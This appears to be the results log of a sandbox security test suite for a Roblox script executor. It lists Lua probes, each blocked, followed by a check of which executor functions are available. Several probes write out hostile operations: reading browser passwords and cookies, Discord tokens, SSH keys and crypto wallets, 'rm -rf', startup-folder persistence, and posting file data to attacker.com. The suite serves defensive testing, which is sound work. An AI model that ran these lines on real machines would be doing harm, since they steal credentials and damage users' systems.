-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "HttpRbxApiService:PostAsync()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("HttpRbxApiService"):PostAsync()
        end)
        assert(errorMsg, "HttpRbxApiService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "HttpRbxApiService:PostAsyncFullUrl()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("HttpRbxApiService"):PostAsyncFullUrl()
        end)
        assert(errorMsg, "HttpRbxApiService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "HttpRbxApiService:GetAsyncFullUrl()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("HttpRbxApiService"):GetAsyncFullUrl()
        end)
        assert(errorMsg, "Robux balance access")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PerformPurchaseV2()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PerformPurchaseV2()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptBundlePurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptBundlePurchase()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptGamePassPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptGamePassPurchase()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptProductPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptProductPurchase()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptPurchase()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptRobloxPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptRobloxPurchase()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptThirdPartyPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptThirdPartyPurchase()
        end)
        assert(errorMsg, "MarketplaceService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PerformPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PerformPurchase()
        end)
        assert(errorMsg, "Unauthorized purchases")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:GetRobuxBalance()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):GetRobuxBalance()
        end)
        assert(errorMsg, "Robux balance access")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptNativePurchaseWithLocalPlayer()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptNativePurchaseWithLocalPlayer()
        end)
        assert(errorMsg, "Native purchase")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptNativePurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptNativePurchase()
        end)
        assert(errorMsg, "Native purchase")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MarketplaceService:PromptCollectiblesPurchase()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MarketplaceService"):PromptCollectiblesPurchase()
        end)
        assert(errorMsg, "Collectibles purchase")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "GuiService:OpenBrowserWindow()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("GuiService"):OpenBrowserWindow()
        end)
        assert(errorMsg, "GuiService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "GuiService:OpenNativeOverlay()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("GuiService"):OpenNativeOverlay()
        end)
        assert(errorMsg, "GuiService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "GuiService:OpenBrowserWindow()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("GuiService"):OpenBrowserWindow()
        end)
        assert(errorMsg, "GuiService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "BrowserService:EmitHybridEvent()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("BrowserService"):EmitHybridEvent()
        end)
        assert(errorMsg, "BrowserService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "BrowserService:ExecuteJavaScript()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("BrowserService"):ExecuteJavaScript()
        end)
        assert(errorMsg, "BrowserService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "BrowserService:OpenBrowserWindow()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("BrowserService"):OpenBrowserWindow()
        end)
        assert(errorMsg, "BrowserService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "BrowserService:OpenNativeOverlay()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("BrowserService"):OpenNativeOverlay()
        end)
        assert(errorMsg, "BrowserService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "BrowserService:ReturnToJavaScript()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("BrowserService"):ReturnToJavaScript()
        end)
        assert(errorMsg, "BrowserService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "BrowserService:SendCommand()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("BrowserService"):SendCommand()
        end)
        assert(errorMsg, "BrowserService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:Call()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):Call()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:GetLast()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):GetLast()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:GetMessageId()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):GetMessageId()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:GetProtocolMethodRequestMessageId()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):GetProtocolMethodRequestMessageId()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:GetProtocolMethodResponseMessageId()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):GetProtocolMethodResponseMessageId()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:MakeRequest()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):MakeRequest()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:Publish()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):Publish()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:PublishProtocolMethodRequest()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):PublishProtocolMethodRequest()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:PublishProtocolMethodResponse()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):PublishProtocolMethodResponse()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:Subscribe()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):Subscribe()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:SubscribeToProtocolMethodRequest()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):SubscribeToProtocolMethodRequest()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:SubscribeToProtocolMethodResponse()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):SubscribeToProtocolMethodResponse()
        end)
        assert(errorMsg, "MessageBusService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "OpenCloudService:HttpRequestAsync()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("OpenCloudService"):HttpRequestAsync()
        end)
        assert(errorMsg, "OpenCloudService vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "ScriptContext:AddCoreScriptLocal()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("ScriptContext"):AddCoreScriptLocal()
        end)
        assert(errorMsg, "ScriptContext vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "DataModel:Load()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("DataModel"):Load()
        end)
        assert(errorMsg, "DataModel vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "DataModel:OpenScreenshotsFolder()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("DataModel"):OpenScreenshotsFolder()
        end)
        assert(errorMsg, "DataModel vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "DataModel:OpenVideosFolder()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("DataModel"):OpenVideosFolder()
        end)
        assert(errorMsg, "DataModel vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "OmniRecommendationsService:MakeRequest()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("OmniRecommendationsService"):MakeRequest()
        end)
        assert(errorMsg, "OmniRecommendations vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Players:ReportAbuse()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("Players"):ReportAbuse()
        end)
        assert(errorMsg, "Players service vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Players:ReportAbuseV3()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("Players"):ReportAbuseV3()
        end)
        assert(errorMsg, "Players service vulnerability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "CoreGui:TakeScreenshot()",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("CoreGui"):TakeScreenshot()
        end)
        assert(errorMsg, "Screenshot capability")
    end
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Robux API Access",
    callback = function()
        local hasHTTP = HttpChecker.check("Request","") or HttpChecker.check("Get","Get") or HttpChecker.check("Post","Post")
        if hasHTTP then
            local results = {}
            Utils.safePcall(function()
                if request then
                    results.v1 = request({
                        Url    = "https://economy.roblox.com/v1/user/currency",
                        Method = "GET"
                    })
                end
            end)
            Utils.safePcall(function()
                results.v2 = game:HttpGet("https://economy.roblox.com/v1/user/currency")
            end)
            Utils.safePcall(function()
                results.v3 = game:HttpPost(
                    "https://economy.roblox.com/v1/purchases/products/41762",
                    '{"expectedCurrency":1,"expectedPrice":0,"expectedSellerId":116444}'
                )
            end)
            assert(results.v1==nil or results.v2==nil or results.v3==nil, "Roblox API access")
        else
            return "Executor does not support HTTP functions"
        end
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "ScriptContext:AddCoreScriptLocal",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("ScriptContext"):AddCoreScriptLocal("CoreScripts/ProximityPrompt", actor)
        end)
        assert(errorMsg, "CoreScript access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "MessageBusService:Publish (URL)",
    callback = function()
        local success, errorMsg = pcall(function()
            game:GetService("MessageBusService"):Publish(
                game:GetService("MessageBusService"):GetMessageId("Linking","openURLRequest"),
                { url = "notepad.exe" }
            )
        end)
        assert(errorMsg, "System command execution")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "os.execute()",
    callback = function()
        local success, errorMsg = pcall(function() os.execute("rm -rf") end)
        assert(errorMsg, "OS command execution")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "ContentProvider:PreloadAsync",
    callback = function()
        local success, errorMsg = pcall(function()
            for _, descendant in ipairs(game:GetService("Players"):GetDescendants()) do
                if descendant:IsA("ScreenGui") then
                    game:GetService("ContentProvider"):PreloadAsync(descendant)
                end
            end
        end)
        assert(errorMsg, "ContentProvider misuse")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "listfiles() root access",
    callback = function()
        if not listfiles then return "Executor does not support function" end
        local _, e1 = pcall(function() local f = listfiles(""); if #f > 0 then end end)
        local _, e2 = pcall(function() local f = listfiles("C:\\"); if #f > 0 then end end)
        assert(e1 or e2, "File system access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "System32 Access Attempt",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile("C:\\Windows\\System32\\config\\SAM")
        end)
        assert(err, "System file access vulnerability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "User Directory Enumeration",
    callback = function()
        if not listfiles then return "Executor does not support function" end
        local _, err = pcall(function()
            local f = listfiles("C:\\Users")
            for _,v in ipairs(f) do print(v) end
        end)
        assert(err, "Unrestricted user directory access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Program Files Write Access",
    callback = function()
        if not writefile then return "Executor does not support function" end
        local _, err = pcall(function()
            writefile("C:\\Program Files\\malicious.exe","test")
        end)
        assert(err, "Program Files write vulnerability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Startup Folder Persistence",
    callback = function()
        if not writefile then return "Executor does not support function" end
        local _, err = pcall(function()
            local p = os.getenv("APPDATA")
                .. "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\malware.exe"
            writefile(p,"persistence_test")
        end)
        assert(err, "Startup persistence vulnerability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Browser Data Access",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile(os.getenv("LOCALAPPDATA").."\\Google\\Chrome\\User Data\\Default\\Login Data")
            readfile(os.getenv("LOCALAPPDATA").."\\Microsoft\\Edge\\User Data\\Default\\Login Data")
        end)
        assert(err, "Browser credential access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "System: OS/IO Library RCE",
    callback = function()
        local dangerous = {}
        pcall(function() if io.popen    then dangerous["io.popen"]    = io.popen    end end)
        pcall(function() if os.execute  then dangerous["os.execute"]  = os.execute  end end)
        pcall(function() if os.remove   then dangerous["os.remove"]   = os.remove   end end)
        pcall(function() if os.rename   then dangerous["os.rename"]   = os.rename   end end)
        if next(dangerous) then error("CRITICAL: Dangerous OS/IO functions present!") end
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "File System: UNC Path Bypass",
    callback = function()
        if not writefile then return "writefile not supported" end
        local p = "\\\\127.0.0.1\\C$\\vuln_test.txt"
        local ok = pcall(function() writefile(p,"test") end)
        if ok then pcall(delfile,p); error("Filesystem sandbox escaped via UNC Path") end
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Network: file:// Protocol Access",
    callback = function()
        local ok, result = pcall(function()
            return game:HttpGet("file:///C:/Windows/System32/drivers/etc/hosts")
        end)
        if ok and type(result)=="string" and #result>0 then
            error("file:// protocol readable")
        end
    end,
},

-- Test passed (mitigated)
-- Runtime message: WARNING: Allowed setting massive console title

-- Probe source that was blocked:
{
    name = "System: Console Spam/Freeze",
    callback = function()
        if not rconsoleprint then return "rconsole not supported" end
        if rconsolename then
            local ok = pcall(function() rconsolename(string.rep("A",10000)) end)
            if ok then return "WARNING: Allowed setting massive console title" end
        end
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "System: FFI Exposure",
    callback = function()
        local has_ffi = false
        pcall(function() if ffi then has_ffi = true end end)
        pcall(function()
            if package and package.loaded and package.loaded.ffi then has_ffi = true end
        end)
        if has_ffi then error("CRITICAL: FFI Library is exposed!") end
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Process Injection Attempt",
    callback = function()
        local _, err = pcall(function()
            local h = io.popen("tasklist")
            if h then h:read("*a"); h:close() end
        end)
        assert(err, "Process enumeration capability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "DLL Injection Test",
    callback = function()
        if not loadstring then return "Executor does not support function" end
        local _, err = pcall(function()
            local ffi = require("ffi")
            ffi.cdef("void* LoadLibraryA(const char* lpFileName);")
            ffi.C.LoadLibraryA("malicious.dll")
        end)
        assert(err, "DLL loading capability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Data Exfiltration Test",
    callback = function()
        if not readfile or not request then return "Executor does not support function" end
        local _, err = pcall(function()
            local data = readfile("workspace/sensitive.txt")
            request({ Url="http://attacker.com/steal", Method="POST", Body=data })
        end)
        assert(err, "File exfiltration capability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Environment Variable Access",
    callback = function()
        local _, err = pcall(function()
            local _ = os.getenv("USERNAME")
            local _ = os.getenv("COMPUTERNAME")
            local _ = os.getenv("USERPROFILE")
            local _ = os.getenv("TEMP")
        end)
        assert(err, "Environment variable access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Hidden File Creation",
    callback = function()
        if not writefile then return "Executor does not support function" end
        local _, err = pcall(function()
            writefile("hidden.exe","backdoor")
            if os.execute then os.execute("attrib +h +s hidden.exe") end
        end)
        assert(err, "Hidden file capability")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Chrome Password Theft",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile(os.getenv("LOCALAPPDATA").."\\Google\\Chrome\\User Data\\Default\\Login Data")
        end)
        assert(err, "Browser password database accessible")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Discord Token Extraction",
    callback = function()
        if not readfile or not listfiles then return "Executor does not support function" end
        local _, err = pcall(function()
            listfiles(os.getenv("APPDATA").."\\discord\\Local Storage\\leveldb")
            listfiles(os.getenv("APPDATA").."\\discordcanary\\Local Storage\\leveldb")
        end)
        assert(err, "Discord token access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Steam Session Hijacking",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf")
        end)
        assert(err, "Steam session data accessible")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "SSH Key Theft",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile(os.getenv("USERPROFILE").."\\.ssh\\id_rsa")
        end)
        assert(err, "SSH private key accessible")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Browser Cookie Extraction",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile(os.getenv("LOCALAPPDATA").."\\Google\\Chrome\\User Data\\Default\\Cookies")
            readfile(os.getenv("LOCALAPPDATA").."\\Microsoft\\Edge\\User Data\\Default\\Cookies")
            readfile(os.getenv("LOCALAPPDATA").."\\Mozilla\\Firefox\\Profiles")
        end)
        assert(err, "Browser cookies accessible")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Cryptocurrency Wallet Theft",
    callback = function()
        if not readfile or not listfiles then return "Executor does not support function" end
        local _, err = pcall(function()
            listfiles(os.getenv("APPDATA").."\\Ethereum\\keystore")
            listfiles(os.getenv("APPDATA").."\\Bitcoin\\wallet.dat")
        end)
        assert(err, "Crypto wallet access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Module Script Injection",
    callback = function()
        local _, err = pcall(function()
            if loadstring then
                local m = loadstring("return setfenv(function() end, getfenv(0))()")
                if m then error("Module injection possible") end
            end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "CoreGui Access",
    callback = function()
        local _, err = pcall(function()
            local rg = game:GetService("CoreGui"):FindFirstChild("RobloxGui")
            if rg then error("CoreGui manipulation possible") end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Plugin Security Bypass",
    callback = function()
        local _, err = pcall(function()
            if plugin then error("Plugin context accessible") end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Require Hijacking",
    callback = function()
        local _, err = pcall(function()
            if hookfunction then
                hookfunction(require, function()
                    return function() error("Require hijacked") end
                end)
                error("Require function hookable")
            end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Metatable Protection Bypass",
    callback = function()
        local _, err = pcall(function()
            local protected = setmetatable({}, {__metatable = "Protected"})
            if getrawmetatable then
                local mt = getrawmetatable(protected)
                if mt then error("Metatable protection bypassed") end
            end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Memory Dump Capability",
    callback = function()
        local _, err = pcall(function()
            if readfile and writefile then
                local gc = getgc and getgc(true) or {}
                if #gc > 10000 then error("Memory enumeration possible") end
            end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Stack Trace Manipulation",
    callback = function()
        local _, err = pcall(function()
            if debug and debug.traceback then
                local _ = debug.traceback()
                if setstack then error("Stack manipulation possible") end
            end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Heap Spray Detection",
    callback = function()
        local _, err = pcall(function()
            local spray = {}
            for i = 1, 100000 do spray[i] = string.rep("A", 1000) end
            if #spray > 50000 then return "WARNING: Unrestricted memory allocation" end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Temp Folder Write Access",
    callback = function()
        if not writefile then return "Executor does not support function" end
        local _, err = pcall(function()
            writefile(os.getenv("TEMP").."\\malware.exe","test")
        end)
        assert(err, "Unrestricted temp folder access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "AppData Roaming Access",
    callback = function()
        if not listfiles then return "Executor does not support function" end
        local _, err = pcall(function() listfiles(os.getenv("APPDATA")) end)
        assert(err, "AppData enumeration")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Desktop File Access",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            listfiles(os.getenv("USERPROFILE").."\\Desktop")
        end)
        assert(err, "Desktop folder access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Downloads Folder Enumeration",
    callback = function()
        if not listfiles then return "Executor does not support function" end
        local _, err = pcall(function()
            listfiles(os.getenv("USERPROFILE").."\\Downloads")
        end)
        assert(err, "Downloads folder access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Documents Folder Access",
    callback = function()
        if not listfiles then return "Executor does not support function" end
        local _, err = pcall(function()
            listfiles(os.getenv("USERPROFILE").."\\Documents")
        end)
        assert(err, "Documents folder access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "File Extension Spoofing",
    callback = function()
        if not writefile then return "Executor does not support function" end
        local _, err = pcall(function() writefile("innocent.txt.exe","malware") end)
        assert(err, "Executable extension allowed")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "Path Traversal (Relative)",
    callback = function()
        if not readfile then return "Executor does not support function" end
        local _, err = pcall(function()
            readfile("../../../Windows/System32/drivers/etc/hosts")
        end)
        assert(err, "Relative path traversal")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "File Overwrite Protection",
    callback = function()
        if not writefile then return "Executor does not support function" end
        local _, err = pcall(function()
            writefile("C:\\Windows\\System32\\important.dll","overwritten")
        end)
        assert(err, "System file overwrite possible")
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "WebSocket Connection",
    callback = function()
        local _, err = pcall(function()
            if WebSocket then
                WebSocket.connect("ws://attacker.com")
                error("WebSocket available")
            end
        end)
    end,
},

-- Test passed (mitigated)
-- Runtime message: nil

-- Probe source that was blocked:
{
    name = "FTP Connection Attempt",
    callback = function()
        if not request then return "Executor does not support function" end
        local _, err = pcall(function()
            request({Url="ftp://malicious-ftp.com",Method="GET"})
        end)
        assert(err, "FTP protocol access")
    end,
},

-- Test passed (mitigated)
-- Runtime message: WARNING: IP geolocation accessible

-- Probe source that was blocked:
{
    name = "IP Geolocation Leak",
    callback = function()
        if not request then return "Executor does not support function" end
        local ok, result = pcall(function()
            local resp = request({Url="https://ipapi.co/json/"})
            if resp and resp.Body then
                return game:GetService("HttpService"):JSONDecode(resp.Body)
            end
        end)
        if ok and result then return "WARNING: IP geolocation accessible" end
    end,
},

-- Function: Drawing
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if Drawing then
    print("Drawing is available")
else
    print("Drawing is NOT available")
end

-- Function: appendfile
-- Category: MISC FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if appendfile then
    print("appendfile is available")
else
    print("appendfile is NOT available")
end

-- Function: checkcaller
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if checkcaller then
    print("checkcaller is available")
else
    print("checkcaller is NOT available")
end

-- Function: crypt.base64decode
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.base64decode then
    print("crypt.base64decode is available")
else
    print("crypt.base64decode is NOT available")
end

-- Function: crypt.base64encode
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.base64encode then
    print("crypt.base64encode is available")
else
    print("crypt.base64encode is NOT available")
end

-- Function: crypt.decrypt
-- Category: EXECUTOR FUNCTIONS
-- Status:   PRESENT (loaded by executor)

-- Check:
if crypt.decrypt then
    print("crypt.decrypt is available")
else
    print("crypt.decrypt is NOT available")
end

-- Function: crypt.encrypt
-- Category: EXECUTOR FUNCTIONS
